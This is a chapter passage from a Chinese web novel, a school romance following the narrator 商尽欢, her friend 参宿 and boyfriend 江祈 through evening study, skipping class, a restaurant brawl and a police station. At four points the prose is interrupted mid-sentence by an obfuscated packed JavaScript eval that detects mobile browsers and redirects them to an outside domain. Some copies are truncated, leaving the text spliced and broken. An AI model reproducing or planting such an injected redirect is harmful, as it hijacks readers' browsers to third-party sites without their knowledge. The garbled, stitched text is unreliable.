信你个鬼! 现在是附中的晚自习时间,整栋教学楼陷入安静之中,只偶尔从窗外传来几声不知名的鸟叫。 “同学们都暂停一下手上的事。” 语文老师悄无声息地出现在门口,抱着一叠试卷走上讲台。 “占用下你们自习时间,我来讲讲上周做的那套题。” 教室里顿时响起敢怒不敢言的哀叹。 语文老师无视下方的怨气,无情地催促:“少爷们小姐们,快动起来。” 参宿低着头翻找:“商尽欢,快看看我的试卷在不在你那儿?” “怎么可能在我这儿?” “屁!”她抬起头,狡黠地笑着:“你最喜欢偷偷收藏我的东西了,别以为我不知道!” 我朝她翻了个白眼:“明明是你每次都不好好收自己的东西,丢到我这里来。” “哎呀~你就帮我找找嘛~” 我叹口气,果然在自己桌肚里找到了她的试卷——干净得一个字都没写。 “语文课代表就这样?” 她笑嘻嘻地扯过白卷塞回抽屉,凑过来和我看同一份。 我打了个哈欠,把红笔塞进她手里,懒洋洋地趴到桌上:“帮我做笔记。” “你自己做啦!”她抗议。 “帮帮我嘛,我亲爱的同桌~” 她佯装勉强,接过笔,老师在讲台上念一句,她就在我的试卷上工工整整地写一句。 我撑着脑袋,歪头笑着看她,恶作剧般地用手肘轻轻碰了碰她的胳膊。 她笔下不停,只是撇撇嘴巴,冲我做了个夸张的生气表情。 我又得寸进尺地碰了碰她,她手一抖,一个漂亮的“修辞手法”的“修”字,最后一笔歪歪扭扭地拉了出去。 “这是你的试卷哦。”她小声提醒我。 “没关系。”我大方地表示无所谓,甚至有点开心。 她眼珠一转,在旁边画了只小猪,箭头指向我,写上“好好学习!”。 我先是被逗笑,可笑容刚漾开,心里却猛地一刺,泛起了一阵突如其来的恍惚。 大概是因为,我突然想起了后来发生的那些事。 ——这会儿,她还在用这种玩笑的方式督促我好好学习。她还不知道,不久的将来,我会学得多么丧心病狂,多么面目全非。 甚至到了要和她决裂的程度。 下课铃打响,第一节晚自习结束,中间有二十分钟的休息时间。 参宿前面的同学起身去上厕所了,张扬“噌”地一下就从后排窜过来,一屁股在那空位上坐下。 “喂喂喂!你们听说没有?今晚后半夜有流星雨!” 参宿激动地一把抓住我的胳膊摇晃:“流星雨!我们一起去看好不好?就去实验楼顶楼,那里视野最好!” 张扬在一旁大惊小怪地插嘴:“你干嘛呀?看流星雨这种事,不是应该让商尽欢和江祈两个人去吗?你凑什么热闹?” 江祈。 听到这个名字,心脏狠狠地跳了一下。 一道清瘦冷峻的背影瞬间落入我的脑海,泛起一阵酸涩又悸动的涟漪。 …… 是的,江祈,他是我的男朋友。 更准确地说,他是我小心翼翼维护着的一段关系。 即便在一起了,我对他依然像暗恋时那样仰望,他依旧对我冷漠。 “哦。”参宿眼里的光黯下去。 我没来得及说话,两个女生挽着手走过来。 “参宿,可不可以请你帮个忙呀?” “怎么了?”参宿笑着问她们。 “我们不是负责这期的黑板报嘛,但是今天作业剩好多,估计肯定没时间弄了,你能不能帮我们出一下?” “明天早上就要检查了,如果今天出不完,我们肯定要被老班骂死的。” 参宿虽然脸上笑着,但我看出了她的为难。 张扬皱起了眉头,不等参宿回答,就抢先一步,非常直白且平静地替她拒绝:“她自己的作业也剩一大堆呢,你们找别人吧。” “别人肯定不会帮我们的……参宿,求求你了嘛!明天我们给你带早餐,好不好?” 张扬有点不耐烦了,抓了把头发,身体前倾,看样子就要站起来说些更不客气的话。 参宿却下意识地拉住了他的袖口。 “可以的,我争取今晚赶完。” 那两个女生心满意足地手挽手离开了。 张扬没好气地瞪了参宿一眼,语气冲得很:“我真是服了你了!老好人当上瘾了是吧?我可告诉你,我绝对不会帮你的!” 他是真的被气到了,甩手就走回了自己的座位。 原本我也很生气,一股无名火窝在心口。 气参宿总是这样,不懂得拒绝。 但看她失落的样子,又心软了。 “我也不帮你出板报,”我说,“不过——” “不过什么?”她眼睛一下子亮了。 “作业给我吧。” 晚自习第二节,我埋头赶两份作业。 而参宿则搬了把椅子,拿着五颜六色的粉笔,站在教室最后面的黑板报前,踮着脚,独自一个人勾勒涂抹。 啪嗒。 啪嗒。 粉笔划过黑板又偶尔折断落下的声音,在寂静的教室里显得格外清晰。 那声音一下一下,莫名让我心烦意乱。 张扬那个家伙,和我一样 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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此刻我仰头看着面前单肩挎包的少年,怎么也想不通他会主动来找我。 他摸了摸后脖颈,眼神躲闪。 我意识到自己盯得太久,慌忙移开视线。 “我们要出黑板报,”我说,“你先走吧。” 最先反应的是参宿。 她转身劝我:“不用等我,你和江祈先走。” 张扬也跟着附和:“就是,今晚还有流星呢。” 我沉默着。 江祈看出我的为难,轻声问:“我可以留下来帮忙吗?” 太反常了。 望着后黑板大片的空白和参宿的鬼画符,我最终点了点头。 啪! 教室陷入黑暗。 冷风灌进来,卷起窗帘一圈圈荡漾。 两周前有学生在教室吃自热火锅引发事故,因此学校严禁晚自习后逗留。 张扬找来两个手电,借着微弱的光,我们四个在黑板上写写画画。 快完工时,左上方还空着一块,张扬灵机一动:“我们把手印印上去吧!” 参宿踩上椅子,率先按下手印。 “小矮子,看我的!” 张扬调整姿势跃起,手臂划出流畅的弧线,“啪”地印在旁边。 带起的风吹乱了参宿的刘海。 她撇嘴:“装什么装!我去洗手了!”跳下椅子跑出教室。 黑暗中,我隐约看见张扬笑了,随即他快步跟了出去。 5. 江祈,他不对劲 教室里只剩我和江祈。 晚秋的风裹着少女心思吹来。 我偏头看他写板书的侧影,月光照亮他半张脸,显得漠然。 这时,距离我们分手还有个两个星期。 我清楚记得那是十一月月末的周六。 妈妈感冒请假在家,我很庆幸那天她在。 早饭后,因为不想和她共处,我像往常那样溜回自己卧室。 路过奶奶房间时,听到里面传来难受的喘息声。 我冲进去,看见奶奶捂着胸口,面色青紫。 我立即转身往外跑。 可跑到卧室门口时,突然停住了。 一个念头闪过,又迅速被打消。 我继续跑到客厅喊:“奶奶喘不过气了!” 奶奶被送到小医院做检查,妈妈在急诊室里和医生谈话,我坐在门外铁椅上,从门缝里看见躺在病床上插着鼻息管的奶奶…… 在停下脚步的那几秒里,我在想:要不算了吧,就当没听见。 妈妈拍拍我的肩,我想问奶奶怎么样了,却一句话都说不出。 她让我去买点吃的,我如获大赦般逃离。 医院附近有个菜市场,小时候我经常跟着奶奶来买菜,某一次,我踩到豆角差点滑倒,幸好奶奶拉着我,不过我滑稽地劈了个叉,把路人逗笑。 往里走,有个老式糕点店,花花绿绿的蛋糕摆在门口的玻璃橱窗里。我还是个小孩子的时候,特别爱吃这种甜甜腻腻的蛋糕, 幼儿园放学,奶奶来接我,就会给我买一个,天天如此。 老板娘总会问:“小妞,昨天不是才过完生日吗?今天怎么又过?” 奶奶嗔怪:“哪里是过生日?是她嘴馋得很,天天悠着我买。” 我才想起来,今天是我生日。 某种悲哀的情绪促使我扭头快步离开菜市场。 一路上,我乱七八糟地想了很多。 想我这么多年来,再也没有过过生日,一定是以前吃太多蛋糕,把后来都给吃没了。 想我真是恶心又自私,居然产生了那样的念头。 想如果不是因为我,奶奶不会摔到头,或许就不会瘫痪,那她可以去好多地方。妈妈也不会被禁锢在这里,她甚至可以选择再婚,找一个爱她呵护她的老公,生一个灵巧的乖小孩,重新过上幸福的生活。 车水马龙从我身体上呼啸经过,我拿出手机,翻开和江祈为数不多的聊天。 我想告诉他,我奶奶生病了,我今天很难过,你可以安慰我一下吗? 然而最终,我只发出去一句话——我们分手吧。 其实我不是真想分手,我希望他问问我,怎么了?发生什么了?我希望他告诉我,我们不要分开,我会一直陪着你的。 我那个时候太矫情,忘了江祈从来对我不冷不热。 不知过了多久,屏幕亮了,他回了一个字。 “好。” 我保持步速缓缓前行,然后在某个瞬间突然蹲下去抱住膝盖。 走不动了。 那天下着很大的雨,我在雨中失声痛哭。 回到现实。 手上颜料黏腻,我正犹豫要不要提前结束这段不必要的感情—— 凳子微微摇晃。 江祈站了上来。 狭小空间里,我们离得很近,只有衣摆相触。 熟悉的气息扑面而来,我眼眶发红,强忍泪水。 原来还是喜欢他。 “颜料不太够了。”他摊开手心。 我头脑一热抓住他的手,掌心相对,温度透过颜料传递。 他指尖微颤,我们的手指在颜料中交缠。 黑板上印着四个手印。 一道强光突然照来,保安拿着手电巡查。 江祈侧身捂住我眼睛,手掌却没有直接碰到我。 突如其来的靠近让我慌乱后退。 踩空了! 失重感席卷全身。 我闭眼挥舞手臂,想要抓住的,最终也只是徒劳。 咚! 没有预想中的疼痛,江祈接住了我,抱着我重重摔在冰冷地砖上。 我脑子空白,好几秒一动不动趴在他身上。 两颗心脏紧贴跳动。 窗外,流星划破深邃的夜幕,点亮漆黑的天穹,带着一道璀璨的尾迹,轻轻一挥,悄无声息地离去。 —— 参宿等在学校大门口,见我出来,急忙探脑袋:“流星好看吗?” 我瞪她:“差点被保安逮了,哪顾得上看。” 她遗憾地“欸”了一声,又说:“没关系,我看到了。” 我以为她会描述流星多美,她却说:“所以我帮你许愿了。” “许的什么?” “说出来就不灵了。” “告诉我嘛。” “不说不说,誓死不从!” 第二天我依旧缠着她问,老是打断她听课。 “不能说,写下来总可以了吧。” 参宿实在拿我没办法,找了一张便签,“沙沙沙”在上面写着。 然而我没有抓稳,微风眷恋地轻拂过我的指尖,带离那张便签纸飞出窗外,消失于天地的尽头。 我仍然不知道参宿究竟写下了什么,只有天地见证过她虔诚的夙愿。 ——我向上天索取三次机会,回到那些你追悔莫及的当初,去填平你的缺憾。 —— 中午午休有四十分钟,我通常只睡二十分钟,剩下的时间用来复习做题。 参宿则完全不同,她能一直睡到上课铃响,甚至上课后还要再趴十分钟才能彻底清醒,是标准的“起床困难户”。 下午预备铃打响前五分钟,老师提前走进教室。 我推推身边的参宿,她肉乎乎的脸颊还印着校服褶皱的痕迹,迷迷糊糊爬起来时眼睛都睁不开,桌面上留下一小滩亮晶晶的口水印。 这节是生物课。 课代表把周测试卷发下来,江祈坐在第一排,被老师使唤着帮忙分发。 他沿着我们这组走过来,一张张试卷 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16480723|185628||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 递到每个人桌上。 我很紧张。 我对江祈是生理性的喜欢。 他什么都不用做,仅仅是靠近的瞬间就让我心跳失序。需要做很久心理准备,才能勉强维持平静。而且,我总能闻到他身上若有若无的清淡香气,参宿他们却不能。 试卷发到我手里,前座的陆邵鹏扭头问:“商姐,你考多少?” 我随口答:“98。” 他忽然笑起来:“怎么不是78呢?” 我一时没反应过来。 江祈正站在我桌边,闻言掀开薄薄的眼皮瞥了陆邵鹏一眼,没什么表情,继续给下一个人发试卷。 我右手边是迟萧和。 一个寸头少年,顶着桀骜不驯的脸,却有着和江祈相似的沉静黑眸,他在低年级学妹里很受欢迎。 听到陆邵鹏的话,他嗤笑一声,白色球鞋踢了踢脚下的篮球,球滚到陆邵鹏脚边。 “再开这种黄腔,给你掌嘴。” 我这才后知后觉意识到陆邵鹏那话的意思。 倒也不太在意,青春期的男生大多这样,自以为幽默地讲些低俗笑话。 四十分钟的生物课很快过去,内容无聊,大半时间都在要求我们死记硬背。 参宿半节课都恍恍惚惚,下课铃一响又立刻趴倒补觉。 接下来两节都是数学课,为了防止她彻底睡过去,我拿起她的杯子去帮她冲杯咖啡。 接完热水,捧着温热的杯子从卫生间路过时,看见那边围了一群人。 我下意识踮脚想看个热闹,隐约在人群缝隙里看见了江祈的身影。 没等我看明白,张扬小跑过来。 “怎么了?”我问。 “嚯,跟你说了啊,学霸刚把陆邵鹏堵里面揍了一顿。” 我满脸诧异:“……江祈?打人?” 怎么可能? “你知道为什么吗?”我又问。 张扬耸耸肩:“你这当女朋友的都不知道,我上哪儿知道去?” 我张了张嘴,没说话。 预备铃适时响起,围观人群四散而开,幸好没引来老师,否则事情就闹大了。 我愣在原地,看见陆邵鹏捂着脑袋,怂怂地从里面溜出来,和我擦肩而过。 紧接着,迟萧和也插着兜晃出来,吊儿郎当的。 看见我时,他用舌尖顶了顶左边脸颊,冲我弯下腰,笑得意味深长:“他还挺在乎你的嘛。” 我更懵了,和张扬大眼瞪小眼,完全不明白他在指什么。 “是因为你?”张扬试探着问。 “我不知道啊,”我茫然摇头,“我什么都不知道。” 张扬“啧啧”两声:“你们俩怎么谈个恋爱这么不熟啊?搞半天是最熟悉的陌生人是不是?” 虽然不想承认,但张扬说得没错。我和江祈满打满算也就谈了两个多月,而这两个月里,我们甚至连一次正式的牵手、一顿平常的饭都没有吃过。 不是陌生人,又是什么呢?想到这里,心里不免泛起一阵酸涩。 6. 逃课,好学生敢翻墙吗? 第二天早上,我和参宿又起晚了,叼着两个洋芋饼踩点冲进教室。 班里抄作业抄得如火如荼,回到座位时,我却发现桌上放着一瓶牛奶和一个桃李面包。 第一反应是有人放错了。 我四下张望,看见旁边的迟萧和正翘着二郎腿,脸上盖着本书,浑身透着一股懒洋洋的劲儿。 我戳戳他,他把书拿下来,见是我,嘴角勾起一抹似笑非笑的弧度。 “看到这是谁放的了吗?”我问。 他点点头。 “谁呀?” 他用手撑着头,露出一个好看却有点欠揍的笑:“我。” 我反应了好几秒:“……啊?” “干嘛给我这个?” “我想追你。”他说得轻描淡写。 参宿正喝着一瓶奶,听到这话差点没喷出来。 我也惊呆了,大脑试图分析这四个字的真实含义。 参宿缓过劲来,立刻开骂:“迟萧和你有病啊?!商尽欢跟江祈在谈恋爱你不知道啊?” “知道啊。”他懒洋洋地回应。 “知道你还说这种话!你什么意思嘛!” “你猜。”他吊儿郎当地笑,一脸的纨绔子弟相。 参宿气得指着他说不出话。 迟萧和却看向我,忽然收敛了些玩笑神色,说:“我的意思很简单,就是我喜欢你。” 我脑子嗡了一声。 喜欢我?看来他是真的脑残了。 我商尽欢活了18年,从来没被人正经表白过。只有参宿借我作业抄的时候会说“我真喜欢你欢欢~”,但那根本不是这种意思。 我对自己的认知很清晰:相貌平平,甚至有点不好看。单眼皮,眼睛不大也没神,架着黑框眼镜。脸颊有青春痘,鼻子有黑头,皮肤黑黄。身材中等,不高不矮不胖不瘦。每天规规矩矩扎着低马尾,把所有头发梳上去,露着光洁但略显空旷的额头。因为学理科太用功,头发不多,家里条件一般,营养跟不上,头发枯黄分叉。永远穿着宽大的校服,因为青春期发育有点含胸驼背。脚上穿的是二十来块买的各种颜色的仿匡威帆布鞋。 这样一个女生出现在青春里,注定只能当背景板。 “我喜欢你。” 迟萧和又重复了一遍,拉回我的思绪。 “如果你对我也有意思,你可以把江祈踹了,跟我在一起。” “我保证对你一心一意。” 我愣在原地。 参宿抄起一本字典指着他:“还说!没完没了了是吧?!” 迟萧和还是那副吊儿郎当样:“我认真的,考虑考虑我。” 他看着我。 巡逻的年级组长探进头,见我们班还没开始早读,又开始唠唠叨叨批评:“一个个的!高三了!高三了啊同学们!火烧眉毛了知不知道?” “倒计时牌子挂在那儿是给你们当装饰品的?别的班书声琅琅,你们班呢?菜市场吗?” 他越说越激动,唾沫星子横飞。 “看看你们!有一点毕业班的紧迫感吗?有一点冲刺的状态吗?每天浑浑噩噩,就知道玩、就知道闹!对得起你们父母起早贪黑吗?对得起学校给你们提供的资源吗?对得起你们自己寒窗苦读这十几年吗?” 这些话,底下的同学已经听得耳朵起茧了。 英语课代表无奈地站起来,指挥我们拿出书背单词。 迟萧和的表白我没太放心上,主要他除了送早餐也没其他动作。一直到下午,他也没再跟我说什么话,我只当他是起早了,某根神经搭错了。 下午第一节是体育课。 没错,高三的体育课。 附中作为顶尖好高中,管理制度比较人性化。高三这一年,周末假期照常,活动也多,体育课从不会被占,一周一节,刚好让学生放松。 因为排在下午第一节,很多男生午休都不睡,直接跑去占场打球。 而我和参宿历来都是请假出去吃冒菜的。 班主任对这事睁只眼闭只眼,只要不出事就行。 我和参宿拿着假条大摇大摆晃回教室收拾书包,因为一般我们在外面吃完还会逛零食店,买点零食带两杯奶茶回来,但必须装书包里,不然被保安看到会拦。 张扬这老六看我们又要出去野,连篮球都不打了,硬要跟我们一起出去嗨。 参宿一脸嫌弃:“不行!这是我们女生单独的约会,不要来当小三好不好?” 不知道哪个字眼戳中了旁边趴着睡觉的迟萧和,他忽然从臂弯里抬起头,掀开薄薄的眼皮,冷飕飕地看了我们一眼。 几秒后,他看向我:“你要出去?” 我点点头。 “我也要去。”他坐直身子,活动着睡酸的脖子。 参宿怒了:“你又凑什么热闹?” “别气嘛,”他说,“我不打扰你们,就跟在后面,帮你们提东西、付钱。” 张扬满脸问号:“哥们,你整哪出?” 迟萧和倏地站起身,恶劣地笑了一下,靠近我:“我早上说了呀,我要追你。” 张扬张大嘴,半晌才“我靠”了一声。 我后退一步,慢慢说:“我有男朋友的,你这样做……不太道德哦。” “是吗?”他眯着眼笑,“可是选择权在你手里啊,你把他踹了不就好了?” 他俯身弯腰,一步步凑近,把我逼到课桌边,双手撑在我两侧的桌面上。 我进退两难。 这时,忽然出现一只手,猛地推开了他撑在我桌边的手,推得他向后踉跄了一步。 江祈站到了我旁边,冷冰冰地盯着迟萧和。 参宿和张扬默默张大了嘴,瞪大眼睛。 上课铃已经打响了,教室里的人都下去操场集合,只有我们五个还直愣愣地站在这里,气氛僵持。 参宿在后面拉了拉我的衣袖,示意她手上的假条。 我们俩偷偷拽起书包,准备溜出去。 张扬眼疾手快拉了参宿一把:“我也要去!” 闻言,迟萧和也拉住我的袖子:“我也要去。” 江祈见他拉着我袖子,立刻伸手拽开他的手腕。 不知道是不是我的错觉,这两人之间火药味十足。 参宿甩开张扬:“要去你们自己开假条呀!跟我们说有什么用?” 我也补充:“我们几个都出去的话目标太大了,万一班主任不给你们批假条……” 迟萧和耸耸肩:“这有什么?翻墙出去就行了。” 参宿拉着我就要往外走:“随便你们,反正被抓到了可别怪我们。” 张扬大步跟上:“被抓到能拿我怎么样?” 迟萧和吊儿郎当地跟在我们后面。 走到门口时,他回头望了一眼教室里的江祈,眼神挑衅: “好学生,你敢翻墙吗?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16480724|185628||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' —— 我没想到江祈真的会跟出来。 他站在西门那棵老银杏树下,叶子已全然金黄,风一过,便簌簌落下几片。 有一片不偏不倚挂在他柔软的黑发上,他似有所觉,轻轻晃了晃脑袋,叶子就掉了下去。 他的那双漂亮眼睛总带着点说不出的忧郁,好像在思考些什么,却又让人看不透。 等张扬和迟萧和都利落地从围墙上翻下来,他们三个便并排朝我们走来。 最右边是迟萧和,寸头,单眼皮,眼尾微微上挑,玩世不恭,校服外套随意敞开着,被他穿出一派放浪形骸的模样。中间是张扬,人如其名,是少年时期最鲜活张扬的样子。靠左边的是江祈,眉眼清淡疏离,没有什么表情,却让人觉得安心。 三个人各有各的出众,但我眼里只有江祈。 他们走到我们面前。 我看着江祈,脱口而出:“你怎么也来了?” 话一出口我就后悔了,这听起来像是不希望他来。 果然,他低声问:“你不希望我来吗?” 语气里居然有点委屈,这在他以前是从没有过的。 我急忙摆手:“不是不是……” 迟萧和一声冷笑打断了我:“走啦走啦,站着干嘛?” 我们一行五人,穿着附中的校服,在上课时间大摇大摆地走在街上,确实格外扎眼。 走着走着,不知怎的就变成了我、参宿和张扬走在前面,迟萧和与江祈落在后面几步。 他们两个都插着兜,微垂着头,沉默地走着路。从某些角度看去,他们俩其实还挺相似的。 穿过小半条商业街,路过一家精品店。 我们三个兴奋地跑进去看,迟萧和正要进门,被江祈叫住了。 他没有回头,只是停下脚步。 “过去的事情已经困住我们够久了,别再这样活着了,好吗?” 迟萧和闻言,发出一声清晰的冷笑。 他从台阶上退下一步,转过身,直面着江祈,眼神锐利而讥诮:“这样活着?是哪样活着?” 江祈刚要开口,却被他毫不客气地打断。 “你装什么清高?哦不对,”迟萧和上下打量着他,嘴角勾起恶劣的弧度,“你就是这么清高的一个人,不光清高,你还自私、冷血、无情无义。” 江祈喉结滚动了一下:“如果你想要报复,就冲我来,不要把她牵扯进来。” “牵扯?”迟萧和冷嗤一声,“我可没有,我是认真的,我喜欢她。” 江祈抬起头,只是静静地说:“那你就好好喜欢她。” 迟萧和勾了勾嘴角:“当然了。” “我会对她一心一意,我绝对不会背叛她,不会抛弃她。在危险来临的时候,我绝对会在第一时间出现保护她。我永远都不会逃避她。” 他说完,不再看江祈,转身掀开帘子,走进了那间精品店。 这家店我和参宿常来逛,但几乎从没在这里买过东西,因为价格实在太贵。 一个普普通通的小发夹要三十块,一个帆布手提袋敢卖八十,完全超出了它们本身的价值。 更现实的原因是,那时候要我拿出一百块钱,是一件极其艰难的事情。 贫穷就像一把杀人于无形的钝刀,它不会立刻要了你的命,却会一寸寸削掉你的脊柱,让你永远无法在那些光鲜亮丽的事物面前,真正地抬头挺胸。 7. 遭了,你们不要再打了! 参宿看上了一顶毛茸茸的帽子,是《疯狂动物城》里兔子警官朱迪。 她站在小镜子前左照右照,鹅蛋脸肉乎乎的,一双圆溜溜的眼睛又黑又亮,那是世界上最漂亮的一双眼睛,带着明显的欧式大双眼皮,偶尔刚睡醒时还会变成三眼皮。她总是扎着高高的马尾,发尾随着她的动作一晃一晃,浑身上下都散发着青春活力的气息。 张扬抱着胳膊在一旁吐槽:“臭美。” 参宿撇撇嘴,懒得理他。 张扬却顺手从旁边架子上拿过那顶情侣款的狐狸尼克帽子,扣在自己头上,笑嘻嘻地说:“哎,你看我俩戴这像不像一套?” 我看着他们,忍不住笑了笑。 少年少女,一个明艳活泼,一个爽朗阳光,站在一起确实很般配。 参宿一看张扬戴着那顶狐狸帽子,立刻踹了他一脚:“你不许戴这个!” 说着就要伸手去抢。 张扬捂着脑袋往后躲:“干嘛呀?连戴个帽子你都要管?” “这是情侣款的!被同学看到又要乱传闲话了!”参宿气得跺脚。 张扬不屑一顾:“我看谁敢乱说?我揍他去。” 参宿气呼呼地把自己那顶兔子帽子往架子上一放:“哼!那你买吧,我不买了!” 张扬嘴一撇,干脆利落地拿起两顶帽子就去结账:“我买就我买!到时候我天天戴,你别眼红。” 我被他们俩逗得笑出声。 迟萧和撑着旁边的柜台看我,问道:“你有什么看上的吗?我给你买。” 我实在搞不懂他今天到底在唱哪出,摇摇头:“没什么喜欢的。” 张扬结完账,拎着购物袋,我们五人走出店外。 参宿故意别开脸,从路边揪了朵小野花,拿在手里晃悠。 张扬走上前,把手提袋塞给她:“喏,给你。” 参宿撅着嘴看了他一会儿,才别扭地说:“……我才不要呢。” 张扬“啧”了一声,挠挠头:“哎呀,冬天快到了,你走读路上戴着正好,暖和,风吹不着头。” “而且买两顶嘛,你头发油得快,可以换着戴啊。”他说着又欠揍地笑起来。 参宿气得追着他揍。 我走在中间,忽然感觉身边多了一个人。 是江祈快步走了上来,与我并肩而行。我有些诧异,仰头看他,这才发现他手里不知何时也多了一个小巧的购物袋。 他把袋子递给我:“给你的。” 居然是给我的? 我愣了好一会儿,才接过来打开。里面是一条细细的银链项链,吊坠是一颗小巧的星星。 刚才在店里,我盯着它看了很久,没想到江祈买了下来。 我感到不可思议,抬起头。 江祈轻声问:“喜欢吗?” 我点点头:“很喜欢……谢谢。” 他说:“抱歉,谈恋爱这么久,都没给你买过什么。” 我摇摇头。 毕竟是我先追的他,潜意识里总觉得,自己应该在这段感情里付出更多。 但江祈告诉我:“不是这样的,既然我答应了,谈恋爱就是我们两个人的事。” “是我不对,之前没尽到男朋友的责任。” 我想告诉他,其实我也有错。 表白之后,因为自尊心作祟,我也没有主动推进过我们的关系,导致两人关系始终不冷不热。 但这一次,好像不一样了。 “你可以帮我戴上吗?”我鬼使神差地问。 江祈安静地应了一声,打开盒子,取出那条细细的项链。 他靠近我,手指轻轻拂过我的后颈,小心翼翼地将链扣扣上。 迟萧和抱着胳膊站在旁边,冷嗤一声:“腻歪什么呢?还吃不吃饭了?” 参宿和张扬立刻挤眉弄眼地嘲笑他:“怎么?狗粮没吃饱啊?” 最后,我们还是去了我和参宿常去的那家冒菜馆。老板是地地道道的重庆人,做的冒菜香辣够味,特别好吃,但店面很小,有些拥挤。 我和参宿熟练地绕过地上稍显凌乱的椅子,去冰柜前选菜。 张扬翘着二郎腿坐在一个小塑料凳上晃悠,嚷嚷着:“记得加点毛肚!还有那个牛肉丸!千层肚也要!” 参宿不耐烦地回头:“要吃自己过来选!别当甩手掌柜!” 张扬“哎”了一声蹦起来,不小心碰掉了旁边凳子上的一个包。 他赶紧捡起来,拍了拍灰。 烫着大波浪卷发的女人急匆匆冲过来,一把抢过包,心疼地检查着。 “你长没长眼睛啊?毛毛躁躁的!我这包很贵的晓得吧?撞坏了你赔得起吗?” 张扬连声道歉:“对不起对不起,我没注意……” 那女人却不依不饶:“对不起有用吗?一句对不起就完事了?你知道这是什么包吗?爱马仕!限量的!” 正吵着,一个身材高大壮实的男人走了过来,搂住女人问:“咋了妹儿?气成这样?” 女人立刻指着张扬:“哥!就这臭小子!毛毛躁撞掉我的包!一点礼貌都没有!” 张扬本来还有点愧疚,被这么一指,火气也上来了:“不是,大妈,你背着这么贵的包怎么还来这种小馆子吃饭,你去高档场所消费呀!” “你叫谁大妈呢?没教养的小兔崽子!”女人气得脸通红。 大哥也瞪起眼,推了张扬一把:“怎么说话呢?撞掉人东西还有理了?找揍是吧?” 张扬年轻气盛,也不服输,反推回去:“谁揍谁还不一定呢!” 眼见冲突一触即发,迟萧和与江祈几乎同时站了起来。 迟萧和一个箭步插到两人中间,背对着那位大哥,面朝张扬,伸手按住了他的肩膀,语气懒散:“行了张扬,少说两句。” 他侧过头,对那大哥笑了笑:“哥,不好意思,我同学火气旺,您别一般见识,碰了您的包是我们不对,我代他再给您道个歉。” 另一侧,江祈没有多余的动作,只是平静地看着对方:“先生,公共场所,动手对谁都不好,一点小摩擦,没必要升级。” 他眼神冷静,气场强硬。 大哥大姐瞪了瞪张扬,重重哼了一声,终究是压下了火气,坐回了座位。 我和参宿在店里看着,心都提到了嗓子眼,见气氛稍缓,才赶紧把选好的菜拿去称重付钱。 好巧不巧,我们这桌就在那对男女的邻桌。 店小,座位空隙狭窄。 参宿正好就和那个壮汉大哥背对背靠着。 不一会儿,我们的冒菜先端了上来,红油滚滚,香气扑鼻。 我们拆开一次性筷子准备开动。 隔壁那大哥一看,又不乐意了,指着老板嚷:“不是我们先来的吗?我们的锅呢?怎么他们的先上了?” 老板陪着笑解释:“您那份点的肉多,像黄喉这些得要稍微多煮一会儿才入味好吃,不然嚼不动,他们的素菜多,熟得快。” 大哥憋 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“你他妈欺负女的算什么本事!”张扬大骂。 那大哥气得满脸通红,猛地抬脚,狠狠踹向我们这边的桌子。 那本就是单薄的折叠木桌,根本经不起这猛力的一踹。 桌子瞬间倾斜,桌上滚烫的冒菜盆猛地向我们这边滑过来。 我根本反应不过来,只觉得一股热气和红油扑面而来。 就在这瞬间,旁边的江祈猛地一把将我拉了起来,向后拽去。 “哐当!”一声巨响,菜盆砸落在我刚才的脚边,汤汁四溅,红油和残菜泼了一地,陶瓷盆摔得粉碎。滚烫的油滴溅到了我的鞋面和裤脚上。 江祈低头快速扫了我一眼,确认我没被烫到。 下一刻,他扭过头,眼神瞬间冷了下去。 而我,呆呆的看着他一拳砸向了那个还在骂骂咧咧的男人。 场面瞬间陷入混乱。 老板急得直跳脚,冲出来试图拉架:“别打了!哎呦!我的店啊!” 参宿在我旁边,不知道是因为惊吓还是别的,浑身止不住地发抖,脸色苍白。 我急忙抱住她,拍着她的背,连声安抚:“没事了没事了,别怕……” 眼睛却焦急地望着扭打在一起的几人。 8. 电话,他没有接 最终,我们一行人被带进了派出所。 老板在一旁配合警察做着详细的笔录。 我和参宿大气不敢出,并排坐在角落的塑料椅子上,手指紧张地绞在一起。 三个男生则靠墙站着,神色各异。 负责的警察问完基本情况,走过来扫了我们几个一眼:“逃课出来的吧?你们这次惹的麻烦可不小,按照程序,这事儿得通知你们学校。” 我心里一沉,害怕的情绪漫上来。 通知学校,就意味着班主任会知道,班主任知道了,家长肯定也…… 张扬在一旁求情:“警察叔叔,能不能别通知学校了?不然我们回去就完蛋了……” 